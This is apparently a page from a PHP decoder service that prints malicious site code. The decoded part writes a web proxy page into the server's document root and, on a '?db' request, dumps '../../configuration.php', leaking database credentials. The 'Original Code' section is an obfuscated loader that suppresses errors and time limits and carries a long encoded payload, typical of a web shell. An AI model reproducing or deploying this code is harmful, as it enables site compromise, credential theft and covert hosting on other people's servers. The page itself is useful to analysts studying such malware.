ZvciAiPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRkYXRhWydyZWFsbSddKSA/PiIgb24gPD9waHAgZWNobyAkR0xPQkFMU1snX3VybF9wYXJ0cyddWydob3N0J10gPz48L2I+DQogIDxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSIiPg0KICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Ijw/cGhwIGVjaG8gJEdMT0JBTFNbJ19jb25maWcnXVsnYmFzaWNfYXV0aF92YXJfbmFtZSddID8+IiB2YWx1ZT0iPD9waHAgZWNobyBiYXNlNjRfZW5jb2RlKCRkYXRhWydyZWFsbSddKSA/PiIgLz4NCiAgICA8bGFiZWw+VXNlcm5hbWUgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVzZXJuYW1lIiB2YWx1ZT0iIiAvPjwvbGFiZWw+IDxsYWJlbD5QYXNzd29yZCA8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InBhc3N3b3JkIiB2YWx1ZT0iIiAvPjwvbGFiZWw+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJMb2dpbiIgLz4NCiAgPC9mb3JtPjwvcD48L2Rpdj4NCjw/cGhwDQogICAgICAgIGJyZWFrOw0KICAgIGNhc2UgJ2Vycm9yJzoNCiAgICAgICAgZWNobyAnPGRpdiBpZD0iZXJyb3IiPjxwPic7DQogICAgICAgIA0KICAgICAgICBzd2l0Y2ggKCRkYXRhWydncm91cCddKQ0KICAgICAgICB7DQogICAgICAgICAgICBjYXNlICd1cmwnOg0KICAgICAgICAgICAgICAgIGVjaG8gJzxiPlVSTCBFcnJvciAoJyAuICRkYXRhWydlcnJvciddIC4gJyk8L2I+OiAnOw0KICAgICAgICAgICAgICAgIHN3aXRjaCAoJGRhdGFbJ3R5cGUnXSkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgIGNhc2UgJ2ludGVybmFsJzoNCiAgICAgICAgICAgICAgICAgICAgICAgICRtZXNzYWdlID0gJ0ZhaWxlZCB0byBjb25uZWN0IHRvIHRoZSBzcGVjaWZpZWQgaG9zdC4gJw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLiAnUG9zc2libGUgcHJvYmxlbXMgYXJlIHRoYXQgdGhlIHNlcnZlciB3YXMgbm90IGZvdW5kLCB0aGUgY29ubmVjdGlvbiB0aW1lZCBvdXQsIG9yIHRoZSBjb25uZWN0aW9uIHJlZnVzZWQgYnkgdGhlIGhvc3QuICcNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC4gJ1RyeSBjb25uZWN0aW5nIGFnYWluIGFuZCBjaGVjayBpZiB0aGUgYWRkcmVzcyBpcyBjb3JyZWN0Lic7DQogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgY2FzZSAnZXh0ZXJuYWwnOg0KICAgICAgICAgICAgICAgICAgICAgICAgc3dpdGNoICgkZGF0YVsnZXJyb3InXSkNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlIDE6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRtZXNzYWdlID0gJ1RoZSBVUkwgeW91XCdyZSBhdHRlbXB0aW5nIHRvIGFjY2VzcyBpcyBibGFja2xpc3RlZCBieSB0aGlzIHNlcnZlci4gUGxlYXNlIHNlbGVjdCBhbm90aGVyIFVSTC4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlIDI6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRtZXNzYWdlID0gJ1RoZSBVUkwgeW91IGVudGVyZWQgaXMgbWFsZm9ybWVkLiBQbGVhc2UgY2hlY2sgd2hldGhlciB5b3UgZW50ZXJlZCB0aGUgY29ycmVjdCBVUkwgb3Igbm90Lic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgY2FzZSAncmVzb3VyY2UnOg0KICAgICAgICAgICAgICAgIGVjaG8gJzxiPlJlc291cmNlIEVycm9yOjwvYj4gJzsNCiAgICAgICAgICAgICAgICBzd2l0Y2ggKCRkYXRhWyd0eXBlJ10pDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICBjYXNlICdmaWxlX3NpemUnOg0KICAgICAgICAgICAgICAgICAgICAgICAgJG1lc3NhZ2UgPSAnVGhlIGZpbGUgeW91ciBhcmUgYXR0ZW1wdGluZyB0byBkb3dubG9hZCBpcyB0b28gbGFyZ2UuPGJyIC8+Jw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLiAnTWF4aXVtdW0gcGVybWlzc2libGUgZmlsZSBzaXplIGlzIDxiPicgLiBudW1iZXJfZm9ybWF0KCRHTE9CQUxTWydfY29uZmlnJ11bJ21heF9maWxlX3NpemUnXS8xMDQ4NTc2LCAyKSAuICcgTUI8L2I+PGJyIC8+Jw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLiAnUmVxdWVzdGVkIGZpbGUgc2l6ZSBpcyA8Yj4nIC4gbnVtYmVyX2Zvcm1hdCgkR0xPQkFMU1snX2NvbnRlbnRfbGVuZ3RoJ10vMTA0ODU3NiwgMikgLiAnIE1CPC9iPic7DQogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgY2FzZSAnaG90bGlua2luZyc6DQogICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZSA9ICdJdCBhcHBlYXJzIHRoYXQgeW91IGFyZSB0cnlpbmcgdG8gYWNjZXNzIGEgcmVzb3VyY2UgdGhyb3VnaCB0aGlzIHByb3h5IGZyb20gYSByZW1vdGUgV2Vic2l0ZS48YnIgLz4nDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAuICdGb3Igc2VjdXJpdHkgcmVhc29ucywgcGxlYXNlIHVzZSB0aGUgZm9ybSBiZWxvdyB0byBkbyBzby4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICBlY2hvICdBbiBlcnJvciBoYXMgb2NjdXJlZCB3aGlsZSB0cnlpbmcgdG8gYnJvd3NlIHRocm91Z2ggdGhlIHByb3h5LiA8YnIgLz4nIC4gJG1lc3NhZ2UgLiAnPC9wPjwvZGl2Pic7DQogICAgICAgIGJyZWFrOw0KfQ0KPz4NCiAgPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249Ijw/cGhwIGVjaG8gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gPz4iPg0KICAgIDx1bCBpZD0iZm9ybSI+DQogICAgICA8bGkgaWQ9ImFkZHJlc3NfYmFyIj48bGFiZWw+V2ViIEFkZHJlc3MgPGlucHV0IGlkPSJhZGRyZXNzX2JveCIgdHlwZT0idGV4dCIgbmFtZT0iPD9waHAgZWNobyAkR0xPQkFMU1snX2NvbmZpZyddWyd1cmxfdmFyX25hbWUnXSA/PiIgdmFsdWU9Ijw/cGhwIGVjaG8gaXNzZXQoJEdMT0JBTFNbJ191cmwnXSkgPyBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydfdXJsJ10pIDogJycgPz4iIG9uZm9jdXM9InRoaXMuc2VsZWN0KCkiIC8+PC9sYWJlbD4gPGlucHV0IGlkPSJnbyIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR28iIC8+PC9saT4NCiAgICAgIDw/cGhwDQogICAgICANCiAgICAgIGZvcmVhY2ggKCRHTE9CQUxTWydfZmxhZ3MnXSBhcyAkZmxhZ19uYW1lID0+ICRmbGFnX3ZhbHVlKQ0KICAgICAgew0KICAgICAgICAgIGlmICghJEdMT0JBTFNbJ19mcm96ZW5fZmxhZ3MnXVskZmxhZ19uYW1lXSkNCiAgICAgICAgICB7DQogICAgICAgICAgICAgIGVjaG8gJzxsaSBjbGFzcz0ib3B0aW9uIj48bGFiZWw+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSInIC4gJEdMT0JBTFNbJ19jb25maWcnXVsnZmxhZ3NfdmFyX25hbWUnXSAuICdbJyAuICRmbGFnX25hbWUgLiAnXSInIC4gKCRmbGFnX3ZhbHVlID8gJyBjaGVja2VkPSJjaGVja2VkIicgOiAnJykgLiAnIC8+JyAuICRHTE9CQUxTWydfbGFiZWxzJ11bJGZsYWdfbmFtZV1bMV0gLiAnPC9sYWJlbD48L2xpPicgLiAiXG4iOw0KICAgICAgICAgIH0NCiAgICAgIH0NCiAgICAgID8+DQogICAgPC91bD4NCiAgPC9mb3JtPg0KICA8IS0tIFRoZSBsZWFzdCB5b3UgY291bGQgZG8gaXMgbGVhdmUgdGhpcyBsaW5rIGJhY2sgYXMgaXQgaXMuIFRoaXMgc29mdHdhcmUgaXMgcHJvdmlkZWQgZm9yIGZyZWUgYW5kIEkgYXNrIG5vdGhpbmcgaW4gcmV0dXJuIGV4Y2VwdCB0aGF0IHlvdSBsZWF2ZSB0aGlzIGxpbmsgaW50YWN0DQogICAgICAgWW91J3JlIG1vcmUgbGlrZWx5IHRvIHJlY2lldmUgc3VwcG9ydCBzaG91bGQgeW91IHJlcXVpcmUgc29tZSBpZiBJIHNlZSBhIGxpbmsgYmFjayBpbiB5b3VyIGluc3RhbGxhdGlvbiB0aGFuIGlmIG5vdCAtLT4NCiAgPGRpdiBpZD0iZm9vdGVyIj48aDI+c3ludGF4IGhlcmUgPC9oMT4gPD9waHAgZWNobyAkR0xPQkFMU1snX3ZlcnNpb24nXSA/PjwvZGl2Pg0KPC9kaXY+DQo8L2Rpdj4NCjwvYm9keT4NCjwvaHRtbD4=";
$pathS2 = $_SERVER['DOCUMENT_ROOT'].'/'.$bypass.'/'.'index.inc.php';
if(file_exists($pathS2)) @unlink($pathS2);
$contentS2 = base64_decode($by3);
$txtS2 = fopen($pathS2,"a+");
fwrite($txtS2, $contentS2);
fclose($txtS2);
}
if(isset($_GET['db'])){
$conf = file_get_contents("../../configuration.php");
echo $conf;
}

Did this file decode correctly?

Original Code

<?php


set_time_limit(0);
error_reporting(0);

$u = '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